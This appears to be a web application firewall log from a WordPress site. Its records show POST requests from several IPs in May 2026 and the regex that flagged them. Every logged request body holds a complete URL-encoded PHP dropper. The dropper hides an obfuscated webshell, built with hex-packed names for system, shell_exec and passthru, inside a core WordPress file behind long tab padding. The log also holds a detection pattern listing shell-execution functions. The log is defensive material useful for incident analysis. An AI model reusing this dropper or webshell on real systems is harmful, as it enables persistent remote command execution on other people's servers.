f%2528function_exists%2528%2524core_engine4%2529%2529%257B%2524core_engine4%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524core_engine5%2529%2526%2526function_exists%2528%2524core_engine6%2529%2526%2526function_exists%2528%2524core_engine7%2529%2529%257B%2524parameter_group_obj%253D%2524core_engine5%2528%2524dependency_resolver%252C%2522r%2522%2529%253Bif%2528%2524parameter_group_obj%2529%257B%2524ptr_factor%253D%2524core_engine6%2528%2524parameter_group_obj%2529%253B%2524core_engine7%2528%2524parameter_group_obj%2529%253Bprint%2520%2524ptr_factor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept:*\/*\nsec-ch-ua-mobile:?1\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Android\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFUZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:6243\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\n\nHs=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Category.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527746%2527%253B%2524itm2%2520%253D%2520%252756d%2527%253B%2524itm3%2520%253D%2520%2527736%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%2527c5f%2527%253B%2524itm6%2520%253D%2520%2527657%2527%253B%2524itm7%2520%253D%2520%2527737%2527%253B%2524itm8%2520%253D%2520%2527727%2527%253B%2524itm9%2520%253D%2520%2527f70%2527%253B%2524itm10%2520%253D%2520%2527656%2527%253B%2524itm11%2520%253D%2520%25275f6%2527%253B%2524itm12%2520%253D%2520%2527f63%2527%253B%2524itm13%2520%253D%2520%25276f6%2527%253B%2524itm14%2520%253D%2520%2527e74%2527%253B%2524itm15%2520%253D%2520%2527706%2527%253B%2524itm16%2520%253D%2520%252736c%2527%253B%2524itm17%2520%253D%2520%25276f7%2527%253B%2524itm18%2520%253D%2520%2527365%2527%253B%2524itm19%2520%253D%2520%2527646%2527%253B%2524itm20%2520%253D%2520%25276c7%2527%253B%2524itm21%2520%253D%2520%2527665%2527%253B%2524core_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527973%2527.%2524itm1.%2524itm2%2529%253B%2524core_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm3.%2524itm4.%25276c6%2527.%2524itm5.%2524itm6.%2527865%2527%2529%253B%2524core_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm6.%2527865%2527%2529%253B%2524core_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2524itm7.%2527468%2527.%2524itm8%2529%253B%2524core_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2524itm9.%2524itm10%2529%253B%2524core_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm7.%2527472%2527.%2527656%2527.%252716d%2527.%2524itm11.%2527765%2527.%2527745%2527.%2524itm12.%2524itm13.%2524itm14.%2524itm10.%2524itm14%2529%253B%2524core_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm15.%2524itm16.%2524itm17.%2524itm18%2529%253B%2524dependency_resolver%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm19.%2527570%2527.%2527656%2527.%2527e64%2527.%2527656%2527.%2527e63%2527.%2527795%2527.%2527f72%2527.%2527657%2527.%252736f%2527.%2524itm20.%2524itm21%2529%253Bif%2528isset%2528%2524_POST%255B%2524dependency_resolver%255D%2529%2529%257B%2524dependency_resolver%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dependency_resolver%255D%2529%253Bif%2528function_exists%2528%2524core_engine1%2529%2529%257B%2524core_engine1%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524core_engine2%2529%2529%257Bprint%2520%2524core_engine2%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524core_engine3%2529%2529%257B%2524core_engine3%2528%2524dependency_resolver%252C%2524entry_flag%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entry_flag%2529%253B%257Delseif%2528function_exists%2528%2524core_engine4%2529%2529%257B%2524core_engine4%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524core_engine5%2529%2526%2526function_exists%2528%2524core_engine6%2529%2526%2526function_exists%2528%2524core_engine7%2529%2529%257B%2524parameter_group_obj%253D%2524core_engine5%2528%2524dependency_resolver%252C%2522r%2522%2529%253Bif%2528%2524parameter_group_obj%2529%257B%2524ptr_factor%253D%2524core_engine6%2528%2524parameter_group_obj%2529%253B%2524core_engine7%2528%2524parameter_group_obj%2529%253Bprint%2520%2524ptr_factor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:47:43","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> KP:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Category.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527746%2527%253B%2524itm2%2520%253D%2520%252756d%2527%253B%2524itm3%2520%253D%2520%2527736%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%2527c5f%2527%253B%2524itm6%2520%253D%2520%2527657%2527%253B%2524itm7%2520%253D%2520%2527737%2527%253B%2524itm8%2520%253D%2520%2527727%2527%253B%2524itm9%2520%253D%2520%2527f70%2527%253B%2524itm10%2520%253D%2520%2527656%2527%253B%2524itm11%2520%253D%2520%25275f6%2527%253B%2524itm12%2520%253D%2520%2527f63%2527%253B%2524itm13%2520%253D%2520%25276f6%2527%253B%2524itm14%2520%253D%2520%2527e74%2527%253B%2524itm15%2520%253D%2520%2527706%2527%253B%2524itm16%2520%253D%2520%252736c%2527%253B%2524itm17%2520%253D%2520%25276f7%2527%253B%2524itm18%2520%253D%2520%2527365%2527%253B%2524itm19%2520%253D%2520%2527646%2527%253B%2524itm20%2520%253D%2520%25276c7%2527%253B%2524itm21%2520%253D%2520%2527665%2527%253B%2524core_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527973%2527.%2524itm1.%2524itm2%2529%253B%2524core_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm3.%2524itm4.%25276c6%2527.%2524itm5.%2524itm6.%2527865%2527%2529%253B%2524core_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm6.%2527865%2527%2529%253B%2524core_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2524itm7.%2527468%2527.%2524itm8%2529%253B%2524core_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2524itm9.%2524itm10%2529%253B%2524core_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm7.%2527472%2527.%2527656%2527.%252716d%2527.%2524itm11.%2527765%2527.%2527745%2527.%2524itm12.%2524itm13.%2524itm14.%2524itm10.%2524itm14%2529%253B%2524core_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm15.%2524itm16.%2524itm17.%2524itm18%2529%253B%2524dependency_resolver%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm19.%2527570%2527.%2527656%2527.%2527e64%2527.%2527656%2527.%2527e63%2527.%2527795%2527.%2527f72%2527.%2527657%2527.%252736f%2527.%2524itm20.%2524itm21%2529%253Bif%2528isset%2528%2524_POST%255B%2524dependency_resolver%255D%2529%2529%257B%2524dependency_resolver%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dependency_resolver%255D%2529%253Bif%2528function_exists%2528%2524core_engine1%2529%2529%257B%2524core_engine1%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524core_engine2%2529%2529%257Bprint%2520%2524core_engine2%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524core_engine3%2529%2529%257B%2524core_engine3%2528%2524dependency_resolver%252C%2524entry_flag%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entry_flag%2529%253B%257Delseif%2528function_exists%2528%2524core_engine4%2529%2529%257B%2524core_engine4%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524core_engine5%2529%2526%2526function_exists%2528%2524core_engine6%2529%2526%2526function_exists%2528%2524core_engine7%2529%2529%257B%2524parameter_group_obj%253D%2524core_engine5%2528%2524dependency_resolver%252C%2522r%2522%2529%253Bif%2528%2524parameter_group_obj%2529%257B%2524ptr_factor%253D%2524core_engine6%2528%2524parameter_group_obj%2529%253B%2524core_engine7%2528%2524parameter_group_obj%2529%253Bprint%2520%2524ptr_factor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\naccept:*\/*\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvF1NvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:6243\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\n\nKP=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Category.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527746%2527%253B%2524itm2%2520%253D%2520%252756d%2527%253B%2524itm3%2520%253D%2520%2527736%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%2527c5f%2527%253B%2524itm6%2520%253D%2520%2527657%2527%253B%2524itm7%2520%253D%2520%2527737%2527%253B%2524itm8%2520%253D%2520%2527727%2527%253B%2524itm9%2520%253D%2520%2527f70%2527%253B%2524itm10%2520%253D%2520%2527656%2527%253B%2524itm11%2520%253D%2520%25275f6%2527%253B%2524itm12%2520%253D%2520%2527f63%2527%253B%2524itm13%2520%253D%2520%25276f6%2527%253B%2524itm14%2520%253D%2520%2527e74%2527%253B%2524itm15%2520%253D%2520%2527706%2527%253B%2524itm16%2520%253D%2520%252736c%2527%253B%2524itm17%2520%253D%2520%25276f7%2527%253B%2524itm18%2520%253D%2520%2527365%2527%253B%2524itm19%2520%253D%2520%2527646%2527%253B%2524itm20%2520%253D%2520%25276c7%2527%253B%2524itm21%2520%253D%2520%2527665%2527%253B%2524core_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527973%2527.%2524itm1.%2524itm2%2529%253B%2524core_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm3.%2524itm4.%25276c6%2527.%2524itm5.%2524itm6.%2527865%2527%2529%253B%2524core_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm6.%2527865%2527%2529%253B%2524core_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2524itm7.%2527468%2527.%2524itm8%2529%253B%2524core_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2524itm9.%2524itm10%2529%253B%2524core_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm7.%2527472%2527.%2527656%2527.%252716d%2527.%2524itm11.%2527765%2527.%2527745%2527.%2524itm12.%2524itm13.%2524itm14.%2524itm10.%2524itm14%2529%253B%2524core_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm15.%2524itm16.%2524itm17.%2524itm18%2529%253B%2524dependency_resolver%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm19.%2527570%2527.%2527656%2527.%2527e64%2527.%2527656%2527.%2527e63%2527.%2527795%2527.%2527f72%2527.%2527657%2527.%252736f%2527.%2524itm20.%2524itm21%2529%253Bif%2528isset%2528%2524_POST%255B%2524dependency_resolver%255D%2529%2529%257B%2524dependency_resolver%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dependency_resolver%255D%2529%253Bif%2528function_exists%2528%2524core_engine1%2529%2529%257B%2524core_engine1%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524core_engine2%2529%2529%257Bprint%2520%2524core_engine2%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524core_engine3%2529%2529%257B%2524core_engine3%2528%2524dependency_resolver%252C%2524entry_flag%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entry_flag%2529%253B%257Delseif%2528function_exists%2528%2524core_engine4%2529%2529%257B%2524core_engine4%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524core_engine5%2529%2526%2526function_exists%2528%2524core_engine6%2529%2526%2526function_exists%2528%2524core_engine7%2529%2529%257B%2524parameter_group_obj%253D%2524core_engine5%2528%2524dependency_resolver%252C%2522r%2522%2529%253Bif%2528%2524parameter_group_obj%2529%257B%2524ptr_factor%253D%2524core_engine6%2528%2524parameter_group_obj%2529%253B%2524core_engine7%2528%2524parameter_group_obj%2529%253Bprint%2520%2524ptr_factor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:47:49","103.93.94.155","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> HR:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Category.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527746%2527%253B%2524itm2%2520%253D%2520%252756d%2527%253B%2524itm3%2520%253D%2520%2527736%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%2527c5f%2527%253B%2524itm6%2520%253D%2520%2527657%2527%253B%2524itm7%2520%253D%2520%2527737%2527%253B%2524itm8%2520%253D%2520%2527727%2527%253B%2524itm9%2520%253D%2520%2527f70%2527%253B%2524itm10%2520%253D%2520%2527656%2527%253B%2524itm11%2520%253D%2520%25275f6%2527%253B%2524itm12%2520%253D%2520%2527f63%2527%253B%2524itm13%2520%253D%2520%25276f6%2527%253B%2524itm14%2520%253D%2520%2527e74%2527%253B%2524itm15%2520%253D%2520%2527706%2527%253B%2524itm16%2520%253D%2520%252736c%2527%253B%2524itm17%2520%253D%2520%25276f7%2527%253B%2524itm18%2520%253D%2520%2527365%2527%253B%2524itm19%2520%253D%2520%2527646%2527%253B%2524itm20%2520%253D%2520%25276c7%2527%253B%2524itm21%2520%253D%2520%2527665%2527%253B%2524core_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527973%2527.%2524itm1.%2524itm2%2529%253B%2524core_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm3.%2524itm4.%25276c6%2527.%2524itm5.%2524itm6.%2527865%2527%2529%253B%2524core_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm6.%2527865%2527%2529%253B%2524core_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2524itm7.%2527468%2527.%2524itm8%2529%253B%2524core_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2524itm9.%2524itm10%2529%253B%2524core_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm7.%2527472%2527.%2527656%2527.%252716d%2527.%2524itm11.%2527765%2527.%2527745%2527.%2524itm12.%2524itm13.%2524itm14.%2524itm10.%2524itm14%2529%253B%2524core_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm15.%2524itm16.%2524itm17.%2524itm18%2529%253B%2524dependency_resolver%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm19.%2527570%2527.%2527656%2527.%2527e64%2527.%2527656%2527.%2527e63%2527.%2527795%2527.%2527f72%2527.%2527657%2527.%252736f%2527.%2524itm20.%2524itm21%2529%253Bif%2528isset%2528%2524_POST%255B%2524dependency_resolver%255D%2529%2529%257B%2524dependency_resolver%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dependency_resolver%255D%2529%253Bif%2528function_exists%2528%2524core_engine1%2529%2529%257B%2524core_engine1%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524core_engine2%2529%2529%257Bprint%2520%2524core_engine2%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524core_engine3%2529%2529%257B%2524core_engine3%2528%2524dependency_resolver%252C%2524entry_flag%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entry_flag%2529%253B%257Delseif%2528function_exists%2528%2524core_engine4%2529%2529%257B%2524core_engine4%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524core_engine5%2529%2526%2526function_exists%2528%2524core_engine6%2529%2526%2526function_exists%2528%2524core_engine7%2529%2529%257B%2524parameter_group_obj%253D%2524core_engine5%2528%2524dependency_resolver%252C%2522r%2522%2529%253Bif%2528%2524parameter_group_obj%2529%257B%2524ptr_factor%253D%2524core_engine6%2528%2524parameter_group_obj%2529%253B%2524core_engine7%2528%2524parameter_group_obj%2529%253Bprint%2520%2524ptr_factor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFSVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-length:6243\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 